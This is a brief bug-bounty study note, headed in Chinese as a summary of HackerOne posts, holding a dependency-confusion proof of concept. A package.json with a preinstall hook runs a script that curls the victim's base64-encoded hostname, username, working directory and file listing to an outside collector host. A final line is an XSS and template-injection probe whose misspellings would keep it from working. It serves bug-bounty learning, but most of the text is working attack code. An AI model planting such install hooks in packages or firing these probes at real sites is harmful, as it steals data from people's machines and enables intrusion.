总结Hackerone帖子,学习并积累思路。

#package.json
{
  "name": "vulnerable-dependency",
  "version": "99.99.99",
  "description": "act1on3",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "./pre.sh"
  },
  "author": "",
  "license": "ISC"
}
# pre.sh
#!/bin/bash
curl -H "Hostname: $(hostname | base64)" -H "Whoami: $(whoami | base64)" -H "Pwd: $(pwd | base64)" -d $(ls -la | base64)  http://receiver
'''><svg/onlod=prompt(document.dmoain);>{{7*7}}